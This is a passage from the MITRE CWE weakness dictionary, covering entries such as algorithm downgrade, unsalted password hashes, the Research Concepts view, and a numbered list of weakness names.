ParentOf		*682*	*Incorrect Calculation*	***750***	*673*
MemberOf	V	*750*	*Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors*	***750***	*732*

References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < http://cwe.mitre.org/top25 >.

CWE-753: Porous Defenses

Category ID: 753 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*250*	*Execution with Unnecessary Privileges*	***750***	*271*
ParentOf	Wa	*259*	*Hard-Coded Password*	***750***	*283*
ParentOf	Wa	*285*	*Improper Access Control (Authorization)*	***750***	*310*
ParentOf	Wa	*327*	*Use of a Broken or Risky Cryptographic Algorithm*	***750***	*351*
ParentOf	Wc	*330*	*Use of Insufficiently Random Values*	***750***	*355*
ParentOf	Wa	*602*	*Client-Side Enforcement of Server-Side Security*	***750***	*590*
ParentOf	Wc	*732*	*Incorrect Permission Assignment for Critical Resource*	***750***	*721*
MemberOf	V	*750*	*Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors*	***750***	*732*

References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < http://cwe.mitre.org/top25 >.

CWE-754: Improper Check for Exceptional Conditions

Weakness ID: 754 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software fails to check or improperly checks for an exceptional condition.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706
ParentOf	Wa	*252*	*Unchecked Return Value*	***1000***	*274*
ParentOf	Wa	*253*	*Incorrect Check of Function Return Value*	*1000*	*278*
ParentOf	Wa	*273*	*Improper Check for Dropped Privileges*	***1000***	*300*
ParentOf	Wa	*296*	*Improper Following of Chain of Trust for Certificate Validation*	*1000*	*322*
ParentOf	Wa	*297*	*Improper Validation of Host-specific Certificate Data*	*1000*	*323*
ParentOf	Wa	*298*	*Improper Validation of Certificate Expiration*	*1000*	*324*
ParentOf	Wa	*299*	*Improper Check for Certificate Revocation*	*1000*	*325*
ParentOf	Wa	*354*	*Improper Validation of Integrity Check Value*	*1000*	*376*
ParentOf	Wa	*394*	*Unexpected Status Code or Return Value*	***1000***	*420*
ParentOf	Ww	*599*	*Trust of OpenSSL Certificate Without Validation*	*1000*	*587*

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID: 755 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software fails to handle or improperly handles an exceptional condition.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706
ParentOf	Wa	*209*	*Error Message Information Leak*	*1000*	*238*
ParentOf	Wc	*390*	*Detection of Error Condition Without Action*	***1000***	*415*
ParentOf	Wa	*395*	*Use of NullPointerException Catch to Detect NULL Pointer Dereference*	*1000*	*420*
ParentOf	Wa	*396*	*Declaration of Catch for Generic Exception*	*1000*	*421*
ParentOf	Ww	*460*	*Improper Cleanup on Thrown Exception*	*1000*	*482*
ParentOf	Wa	*544*	*Failure to Use a Standardized Error Handling Mechanism*	***1000***	*550*
ParentOf	Wa	*600*	*Failure to Catch All Exceptions in Servlet*	***1000***	*588*
ParentOf	Wc	*636*	*Not Failing Securely ('Failing Open')*	*1000*	*617*
ParentOf	Wc	*756*	*Missing Custom Error Page*	***1000***	*734*

CWE-756: Missing Custom Error Page

Weakness ID: 756 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software fails to return custom error pages to the user, possibly resulting in an information leak.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Weakness	209	Error Message Information Leak	1000	238
ChildOf	Category	388	Error Handling	**699**	413
ChildOf	Weakness	755	Improper Handling of Exceptional Conditions	**1000**	734
ParentOf	Weakness	*7*	*J2EE Misconfiguration: Missing Custom Error Page*	***699 1000***	*4*
ParentOf	Weakness	*12*	*ASP.NET Misconfiguration: Missing Custom Error Page*	***1000***	*8*

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID: 757 *(Weakness Class)* **Status:** Incomplete

Description

Summary

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Observed Examples

Reference	Description
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using a man-in-the-middle attack.
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities.
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	693	Protection Mechanism Failure	**1000**	684

Relationship Notes

This is related to CWE-300 (Man-in-the-Middle), although not all downgrade attacks necessarily require a man in the middle. See examples.

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID: 758 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	710	Coding Standards Violation	**1000**	711
ParentOf	Wa	*188*	*Reliance on Data/Memory Layout*	***1000***	*216*
ParentOf	Wa	*587*	*Assignment of a Fixed Address to a Pointer*	*1000*	*578*
ParentOf	Ww	*588*	*Attempt to Access Child of a Non-structure Pointer*	*1000*	*579*
ParentOf	Wa	*733*	*Compiler Optimization Removal or Modification of Security-critical Code*	*1000*	*723*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC14-C	Do not introduce unnecessary platform dependencies
CERT C Secure Coding	MSC15-C	Do not depend on undefined behavior

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID: 759 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

Observed Examples

Reference	Description
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	326	Weak Encryption	**1000**	349

References

Robert Graham. "The Importance of Being Canonical". 2009-02-02. < http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html >.

Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. < http://www.matasano.com/log/958/ >.

James McGlinn. "Password Hashing". < http://phpsec.org/articles/2005/password-hashing.html >.

Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. < http://www.codinghorror.com/blog/archives/000949.html >.

"Rainbow table". Wikipedia. 2009-03-03. < http://en.wikipedia.org/wiki/Rainbow_table >.

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID: 760 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

Observed Examples

Reference	Description
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	326	Weak Encryption	**1000**	349

References

Robert Graham. "The Importance of Being Canonical". 2009-02-02. < http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html >.

Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. < http://www.matasano.com/log/958/ >.

James McGlinn. "Password Hashing". < http://phpsec.org/articles/2005/password-hashing.html >.

Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. < http://www.codinghorror.com/blog/archives/000949.html >.

"Rainbow table". Wikipedia. 2009-03-03. < http://en.wikipedia.org/wiki/Rainbow_table >.

CWE-1000: Research Concepts

View ID: 1000 *(View: Graph)* **Status:** Draft

Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies and their role in vulnerabilities. It classifies weaknesses in a way that largely ignores how they can be detected, where they appear in code, and when they are introduced in the software development life-cycle. Instead, it is mainly organized according to abstractions of software behaviors. It uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars.

Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life-cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies.

This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and very few categories. This view could be useful for academic research, CWE maintenance, and mapping. It can be leveraged to systematically identify theoretical gaps within CWE and, by extension, the general security community.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**651**	out of	777
Views	0	out of	22
Categories	9	out of	105
Weaknesses	630	out of	638
Compound_Elements	12	out of	12

View Audience

Academic Researchers

This view provides an organizational structure for weaknesses that is different than the approaches undertaken by taxonomies such as Seven Pernicious Kingdoms.

Applied Researchers

Applied researchers could use the higher-level classes and bases to identify potential areas for future research.

Developers

Developers who have fully integrated security into their SDLC might find this view useful in identifying general patterns of issues within code, instead of relying heavily on "badness lists" that only cover the most severe issues.

Relationships

Nature	Type	ID	Name	V	Page
HasMember	W	118	Improper Access of Indexable Resource ('Range Error')	**1000**	143
HasMember	W	330	Use of Insufficiently Random Values	**1000**	355
HasMember	W	435	Interaction Error	**1000**	462
HasMember	W	664	Improper Control of a Resource Through its Lifetime	**1000**	652
HasMember	W	682	Incorrect Calculation	**1000**	673
HasMember	W	691	Insufficient Control Flow Management	**1000**	682
HasMember	W	693	Protection Mechanism Failure	**1000**	684
HasMember	W	697	Insufficient Comparison	**1000**	687
HasMember	W	703	Failure to Handle Exceptional Conditions	**1000**	706
HasMember	W	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
HasMember	W	707	Improper Enforcement of Message or Data Structure	**1000**	709
HasMember	W	710	Coding Standards Violation	**1000**	711

CWE-2000: Comprehensive CWE Dictionary

View ID: 2000 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) covers all the elements in CWE.

View Data

Filter Used:

true()

View Metrics

	CWEs in this view		Total CWEs
Total	**777**	out of	777
Views	22	out of	22
Categories	105	out of	105
Weaknesses	638	out of	638
Compound_Elements	12	out of	12

CWEs Included in this View

Type	ID	Name
C	1	Location
C	2	Environment
C	3	Technology-specific Environment Issues
C	4	J2EE Environment Issues
W	5	J2EE Misconfiguration: Data Transmission Without Encryption
W	6	J2EE Misconfiguration: Insufficient Session-ID Length

Type	ID	Name
	7	J2EE Misconfiguration: Missing Custom Error Page
	8	J2EE Misconfiguration: Entity Bean Declared Remote
	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
	10	ASP.NET Environment Issues
	11	ASP.NET Misconfiguration: Creating Debug Binary
	12	ASP.NET Misconfiguration: Missing Custom Error Page
	13	ASP.NET Misconfiguration: Password in Configuration File
	14	Compiler Removal of Code to Clear Buffers
	15	External Control of System or Configuration Setting
	16	Configuration
	17	Code
	18	Source Code
	19	Data Handling
	20	Improper Input Validation
	21	Pathname Traversal and Equivalence Errors
	22	Path Traversal
	23	Relative Path Traversal
	24	Path Traversal: '../filedir'
	25	Path Traversal: '/../filedir'
	26	Path Traversal: '/dir/../filename'
	27	Path Traversal: 'dir/../../filename'
	28	Path Traversal: '..\filedir'
	29	Path Traversal: '\..\filename'
	30	Path Traversal: '\dir\..\filename'
	31	Path Traversal: 'dir\..\..\filename'
	32	Path Traversal: '...' (Triple Dot)
	33	Path Traversal: '....' (Multiple Dot)
	34	Path Traversal: '..../'
	35	Path Traversal: '.../.../'
	36	Absolute Path Traversal
	37	Path Traversal: '/absolute/pathname/here'
	38	Path Traversal: '\absolute\pathname\here'
	39	Path Traversal: 'C:dirname'
	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
	41	Failure to Resolve Path Equivalence
	42	Path Equivalence: 'filename.' (Trailing Dot)
	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)
	44	Path Equivalence: 'file.name' (Internal Dot)
	45	Path Equivalence: 'file...name' (Multiple Internal Dot)
	46	Path Equivalence: 'filename ' (Trailing Space)
	47	Path Equivalence: ' filename (Leading Space)
	48	Path Equivalence: 'file name' (Internal Whitespace)
	49	Path Equivalence: 'filename/' (Trailing Slash)
	50	Path Equivalence: '//multiple/leading/slash'
	51	Path Equivalence: '/multiple//internal/slash'
	52	Path Equivalence: '/multiple/trailing/slash//'
	53	Path Equivalence: '\multiple\\internal\backslash'
	54	Path Equivalence: 'filedir\' (Trailing Backslash)
	55	Path Equivalence: '/./' (Single Dot Directory)
	56	Path Equivalence: 'filedir*' (Wildcard)
	57	Path Equivalence: 'fakedir/../realdir/filename'
	58	Path Equivalence: Windows 8.3 Filename
	59	Failure to Resolve Links Before File Access (aka 'Link Following')
	60	UNIX Path Link Problems
	61	UNIX Symbolic Link (Symlink) Following
	62	UNIX Hard Link
	63	Windows Path Link Problems

Type	ID	Name
	64	Windows Shortcut Following (.LNK)
	65	Windows Hard Link
	66	Improper Handling of File Names that Identify Virtual Resources
	67	Improper Handling of Windows Device Names
	68	Windows Virtual File Problems
	69	Failure to Handle Windows ::DATA Alternate Data Stream
	70	Mac Virtual File Problems
	71	Apple '.DS_Store'
	72	Failure to Handle Apple HFS+ Alternate Data Stream Path
	73	External Control of File Name or Path
	74	Failure to Sanitize Data into a Different Plane (aka 'Injection')
	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
	76	Failure to Resolve Equivalent Special Elements into a Different Plane
	77	Failure to Sanitize Data into a Control Plane (aka 'Command Injection')
	78	Failure to Preserve OS Command Structure (aka 'OS Command Injection')
	79	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
	80	Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)
	81	Failure to Sanitize Directives in an Error Message Web Page
	82	Failure to Sanitize Script in Attributes of IMG Tags in a Web Page
	83	Failure to Sanitize Script in Attributes in a Web Page
	84	Failure to Resolve Encoded URI Schemes in a Web Page
	85	Doubled Character XSS Manipulations
	86	Failure to Sanitize Invalid Characters in Identifiers in Web Pages
	87	Failure to Sanitize Alternate XSS Syntax
	88	Argument Injection or Modification
	89	Failure to Preserve SQL Query Structure (aka 'SQL Injection')
	90	Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
	91	XML Injection (aka Blind XPath Injection)
	92	Insufficient Sanitization of Custom Special Characters
	93	Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
	94	Failure to Control Generation of Code (aka 'Code Injection')
	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
	96	Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
	97	Failure to Sanitize Server-Side Includes (SSI) Within a Web Page
	98	Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
	99	Insufficient Control of Resource Identifiers (aka 'Resource Injection')
	100	Technology-Specific Input Validation Problems
	101	Struts Validation Problems
	102	Struts: Duplicate Validation Forms
	103	Struts: Incomplete validate() Method Definition
	104	Struts: Form Bean Does Not Extend Validation Class
	105	Struts: Form Field Without Validator
	106	Struts: Plug-in Framework not in Use
	107	Struts: Unused Validation Form
	108	Struts: Unvalidated Action Form
	109	Struts: Validator Turned Off
	110	Struts: Validator Without Form Field
	111	Direct Use of Unsafe JNI
	112	Missing XML Validation
	113	Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')
	114	Process Control
	115	Misinterpretation of Input
	116	Improper Encoding or Escaping of Output
	117	Incorrect Output Sanitization for Logs
	118	Improper Access of Indexable Resource (aka 'Range Error')
	119	Failure to Constrain Operations within the Bounds of a Memory Buffer

Type	ID	Name
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	121	Stack-based Buffer Overflow
	122	Heap-based Buffer Overflow
	123	Write-what-where Condition
	124	Boundary Beginning Violation ('Buffer Underwrite')
	125	Out-of-bounds Read
	126	Buffer Over-read
	127	Buffer Under-read
	128	Wrap-around Error
	129	Unchecked Array Indexing
	130	Improper Handling of Length Parameter Inconsistency
	131	Incorrect Calculation of Buffer Size
	132	DEPRECATED (Duplicate): Miscalculated Null Termination
	133	String Errors
	134	Uncontrolled Format String
	135	Incorrect Calculation of Multi-Byte String Length
	136	Type Errors
	137	Representation Errors
	138	Improper Sanitization of Special Elements
	139	DEPRECATED: General Special Element Problems
	140	Failure to Sanitize Delimiters
	141	Failure to Sanitize Parameter/Argument Delimiters
	142	Failure to Sanitize Value Delimiters
	143	Failure to Sanitize Record Delimiters
	144	Failure to Sanitize Line Delimiters
	145	Failure to Sanitize Section Delimiters
	146	Failure to Sanitize Expression/Command Delimiters
	147	Improper Sanitization of Input Terminators
	148	Failure to Sanitize Input Leaders
	149	Failure to Sanitize Quoting Syntax
	150	Failure to Sanitize Escape, Meta, or Control Sequences
	151	Improper Sanitization of Comment Delimiters
	152	Improper Sanitization of Macro Symbols
	153	Improper Sanitization of Substitution Characters
	154	Improper Sanitization of Variable Name Delimiters
	155	Improper Sanitization of Wildcards or Matching Symbols
	156	Improper Sanitization of Whitespace
	157	Failure to Sanitize Paired Delimiters
	158	Failure to Sanitize Null Byte or NUL Character
	159	Failure to Sanitize Special Element
	160	Failure to Sanitize Leading Special Element
	161	Failure to Sanitize Multiple Leading Special Elements
	162	Failure to Sanitize Trailing Special Element
	163	Failure to Sanitize Multiple Trailing Special Elements
	164	Failure to Sanitize Internal Special Element
	165	Failure to Sanitize Multiple Internal Special Elements
	166	Failure to Handle Missing Special Element
	167	Failure to Handle Additional Special Element
	168	Failure to Resolve Inconsistent Special Elements
	169	Technology-Specific Special Elements
	170	Improper Null Termination
	171	Cleansing, Canonicalization, and Comparison Errors
	172	Encoding Error
	173	Failure to Handle Alternate Encoding
	174	Double Decoding of the Same Data
	175	Failure to Handle Mixed Encoding
	176	Failure to Handle Unicode Encoding

Type	ID	Name
	177	Failure to Handle URL Encoding (Hex Encoding)
	178	Failure to Resolve Case Sensitivity
	179	Incorrect Behavior Order: Early Validation
	180	Incorrect Behavior Order: Validate Before Canonicalize
	181	Incorrect Behavior Order: Validate Before Filter
	182	Collapse of Data Into Unsafe Value
	183	Permissive Whitelist
	184	Incomplete Blacklist
	185	Incorrect Regular Expression
	186	Overly Restrictive Regular Expression
	187	Partial Comparison
	188	Reliance on Data/Memory Layout
	189	Numeric Errors
	190	Integer Overflow or Wraparound
	191	Integer Underflow (Wrap or Wraparound)
	192	Integer Coercion Error
	193	Off-by-one Error
	194	Unexpected Sign Extension
	195	Signed to Unsigned Conversion Error
	196	Unsigned to Signed Conversion Error
	197	Numeric Truncation Error
	198	Use of Incorrect Byte Ordering
	199	Information Management Errors
	200	Information Leak (Information Disclosure)
	201	Information Leak Through Sent Data
	202	Privacy Leak through Data Queries
	203	Discrepancy Information Leaks
	204	Response Discrepancy Information Leak
	205	Behavioral Discrepancy Information Leak
	206	Internal Behavioral Inconsistency Information Leak
	207	External Behavioral Inconsistency Information Leak
	208	Timing Discrepancy Information Leak
	209	Error Message Information Leak
	210	Product-Generated Error Message Information Leak
	211	Product-External Error Message Information Leak
	212	Cross-boundary Cleansing Information Leak
	213	Intended Information Leak
	214	Process Environment Information Leak
	215	Information Leak Through Debug Information
	216	Containment Errors (Container Errors)
	217	Failure to Protect Stored Data from Modification
	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
	219	Sensitive Data Under Web Root
	220	Sensitive Data Under FTP Root
	221	Information Loss or Omission
	222	Truncation of Security-relevant Information
	223	Omission of Security-relevant Information
	224	Obscured Security-relevant Information by Alternate Name
	225	DEPRECATED (Duplicate): General Information Management Problems
	226	Sensitive Information Uncleared Before Release
	227	Failure to Fulfill API Contract (aka 'API Abuse')
	228	Improper Handling of Syntactically Invalid Structure
	229	Improper Handling of Values
	230	Improper Handling of Missing Values
	231	Improper Handling of Extra Values
	232	Improper Handling of Undefined Values
	233	Parameter Problems

Type	ID	Name
We	234	Failure to Handle Missing Parameter
We	235	Improper Handling of Extra Parameters
We	236	Improper Handling of Undefined Parameters
Wc	237	Improper Handling of Structural Elements
We	238	Improper Handling of Incomplete Structural Elements
We	239	Failure to Handle Incomplete Element
We	240	Improper Handling of Inconsistent Structural Elements
We	241	Improper Handling of Unexpected Data Type
We	242	Use of Inherently Dangerous Function
Wv	243	Failure to Change Working Directory in chroot Jail
Wv	244	Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
Wv	245	J2EE Bad Practices: Direct Management of Connections
Wv	246	J2EE Bad Practices: Direct Use of Sockets
Wv	247	Reliance on DNS Lookups in a Security Decision
We	248	Uncaught Exception
Wv	249	Often Misused: Path Manipulation
Wc	250	Execution with Unnecessary Privileges
C	251	Often Misused: String Management
We	252	Unchecked Return Value
We	253	Incorrect Check of Function Return Value
C	254	Security Features
C	255	Credentials Management
Wv	256	Plaintext Storage of a Password
We	257	Storing Passwords in a Recoverable Format
Wv	258	Empty Password in Configuration File
We	259	Hard-Coded Password
Wv	260	Password in Configuration File
Wv	261	Weak Cryptography for Passwords
Wv	262	Not Using Password Aging
We	263	Password Aging with Long Expiration
C	264	Permissions, Privileges, and Access Controls
C	265	Privilege / Sandbox Issues
We	266	Incorrect Privilege Assignment
We	267	Privilege Defined With Unsafe Actions
We	268	Privilege Chaining
We	269	Insecure Privilege Management
We	270	Privilege Context Switching Error
Wc	271	Privilege Dropping / Lowering Errors
We	272	Least Privilege Violation
We	273	Improper Check for Successfully Dropped Privileges
We	274	Failure to Handle Insufficient Privileges
C	275	Permission Issues
Wv	276	Insecure Default Permissions
Wv	277	Insecure Inherited Permissions
Wv	278	Insecure Preserved Inherited Permissions
Wv	279	Insecure Execution-assigned Permissions
We	280	Improper Handling of Insufficient Permissions or Privileges
We	281	Permission Preservation Failure
Wc	282	Improper Ownership Management
We	283	Unverified Ownership
Wc	284	Access Control (Authorization) Issues
We	285	Improper Access Control (Authorization)
Wc	286	Incorrect User Management
Wc	287	Improper Authentication
We	288	Authentication Bypass Using an Alternate Path or Channel
Wv	289	Authentication Bypass by Alternate Name
We	290	Authentication Bypass by Spoofing

Type	ID	Name
	291	Trusting Self-reported IP Address
	292	Trusting Self-reported DNS Name
	293	Using Referer Field for Authentication
	294	Authentication Bypass by Capture-replay
	295	Certificate Issues
	296	Improper Following of Chain of Trust for Certificate Validation
	297	Improper Validation of Host-specific Certificate Data
	298	Improper Validation of Certificate Expiration
	299	Improper Check for Certificate Revocation
	300	Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')
	301	Reflection Attack in an Authentication Protocol
	302	Authentication Bypass by Assumed-Immutable Data
	303	Improper Implementation of Authentication Algorithm
	304	Missing Critical Step in Authentication
	305	Authentication Bypass by Primary Weakness
	306	No Authentication for Critical Function
	307	Failure to Restrict Excessive Authentication Attempts
	308	Use of Single-factor Authentication
	309	Use of Password System for Primary Authentication
	310	Cryptographic Issues
	311	Failure to Encrypt Sensitive Data
	312	Cleartext Storage of Sensitive Information
	313	Plaintext Storage in a File or on Disk
	314	Plaintext Storage in the Registry
	315	Plaintext Storage in a Cookie
	316	Plaintext Storage in Memory
	317	Plaintext Storage in GUI
	318	Plaintext Storage in Executable
	319	Cleartext Transmission of Sensitive Information
	320	Key Management Errors
	321	Use of Hard-coded Cryptographic Key
	322	Key Exchange without Entity Authentication
	323	Reusing a Nonce, Key Pair in Encryption
	324	Use of a Key Past its Expiration Date
	325	Missing Required Cryptographic Step
	326	Weak Encryption
	327	Use of a Broken or Risky Cryptographic Algorithm
	328	Reversible One-Way Hash
	329	Not Using a Random IV with CBC Mode
	330	Use of Insufficiently Random Values
	331	Insufficient Entropy
	332	Insufficient Entropy in PRNG
	333	Failure to Handle Insufficient Entropy in TRNG
	334	Small Space of Random Values
	335	PRNG Seed Error
	336	Same Seed in PRNG
	337	Predictable Seed in PRNG
	338	Use of Cryptographically Weak PRNG
	339	Small Seed Space in PRNG
	340	Predictability Problems
	341	Predictable from Observable State
	342	Predictable Exact Value from Previous Values
	343	Predictable Value Range from Previous Values
	344	Use of Invariant Value in Dynamically Changing Context
	345	Insufficient Verification of Data Authenticity
	346	Origin Validation Error
	347	Improperly Verified Signature

Type	ID	Name
We	348	Use of Less Trusted Source
We	349	Acceptance of Extraneous Untrusted Data With Trusted Data
We	350	Improperly Trusted Reverse DNS
We	351	Insufficient Type Distinction
	352	Cross-Site Request Forgery (CSRF)
We	353	Failure to Add Integrity Check Value
We	354	Improper Validation of Integrity Check Value
	355	User Interface Security Issues
We	356	Product UI does not Warn User of Unsafe Actions
We	357	Insufficient UI Warning of Dangerous Operations
We	358	Improperly Implemented Security Check for Standard
Wc	359	Privacy Violation
We	360	Trust of System Event Data
	361	Time and State
Wc	362	Race Condition
We	363	Race Condition Enabling Link Following
We	364	Signal Handler Race Condition
We	365	Race Condition in Switch
We	366	Race Condition within a Thread
We	367	Time-of-check Time-of-use (TOCTOU) Race Condition
We	368	Context Switching Race Condition
We	369	Divide By Zero
We	370	Race Condition in Checking for Certificate Revocation
	371	State Issues
We	372	Incomplete Internal State Distinction
We	373	State Synchronization Error
We	374	Mutable Objects Passed by Reference
We	375	Passing Mutable Objects to an Untrusted Method
	376	Temporary File Issues
We	377	Insecure Temporary File
We	378	Creation of Temporary File With Insecure Permissions
We	379	Creation of Temporary File in Directory with Insecure Permissions
	380	Technology-Specific Time and State Issues
	381	J2EE Time and State Issues
Wv	382	J2EE Bad Practices: Use of System.exit()
Wv	383	J2EE Bad Practices: Direct Use of Threads
	384	Session Fixation
We	385	Covert Timing Channel
We	386	Symbolic Name not Mapping to Correct Object
	387	Signal Errors
	388	Error Handling
	389	Error Conditions, Return Values, Status Codes
Wc	390	Detection of Error Condition Without Action
We	391	Unchecked Error Condition
We	392	Failure to Report Error in Status Code
We	393	Return of Wrong Status Code
We	394	Unexpected Status Code or Return Value
We	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
We	396	Declaration of Catch for Generic Exception
We	397	Declaration of Throws for Generic Exception
Wc	398	Indicator of Poor Code Quality
	399	Resource Management Errors
We	400	Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
We	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
Wc	402	Transmission of Private Resources into a New Sphere (aka 'Resource Leak')
We	403	UNIX File Descriptor Leak
We	404	Improper Resource Shutdown or Release

Type	ID	Name
	405	Asymmetric Resource Consumption (Amplification)
	406	Insufficient Control of Network Message Volume (Network Amplification)
	407	Algorithmic Complexity
	408	Incorrect Behavior Order: Early Amplification
	409	Failure to Handle Highly Compressed Data (Data Amplification)
	410	Insufficient Resource Pool
	411	Resource Locking Problems
	412	Unrestricted Lock on Critical Resource
	413	Insufficient Resource Locking
	414	Missing Lock Check
	415	Double Free
	416	Use After Free
	417	Channel and Path Errors
	418	Channel Errors
	419	Unprotected Primary Channel
	420	Unprotected Alternate Channel
	421	Race Condition During Access to Alternate Channel
	422	Unprotected Windows Messaging Channel ('Shatter')
	423	DEPRECATED (Duplicate): Proxied Trusted Channel
	424	Failure to Protect Alternate Path
	425	Direct Request ('Forced Browsing')
	426	Untrusted Search Path
	427	Uncontrolled Search Path Element
	428	Unquoted Search Path or Element
	429	Handler Errors
	430	Deployment of Wrong Handler
	431	Missing Handler
	432	Dangerous Handler not Disabled During Sensitive Operations
	433	Unparsed Raw Web Content Delivery
	434	Unrestricted File Upload
	435	Interaction Error
	436	Interpretation Conflict
	437	Incomplete Model of Endpoint Features
	438	Behavioral Problems
	439	Behavioral Change in New Version or Environment
	440	Expected Behavior Violation
	441	Unintended Proxy/Intermediary
	442	Web Problems
	443	DEPRECATED (Duplicate): HTTP response splitting
	444	Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')
	445	User Interface Errors
	446	UI Discrepancy for Security Feature
	447	Unimplemented or Unsupported Feature in UI
	448	Obsolete Feature in UI
	449	The UI Performs the Wrong Action
	450	Multiple Interpretations of UI Input
	451	UI Misrepresentation of Critical Information
	452	Initialization and Cleanup Errors
	453	Insecure Default Variable Initialization
	454	External Initialization of Trusted Variables
	455	Non-exit on Failed Initialization
	456	Missing Initialization
	457	Use of Uninitialized Variable
	458	DEPRECATED: Incorrect Initialization
	459	Incomplete Cleanup
	460	Improper Cleanup on Thrown Exception
	461	Data Structure Issues

Type	ID	Name
We	462	Duplicate Key in Associative List (Alist)
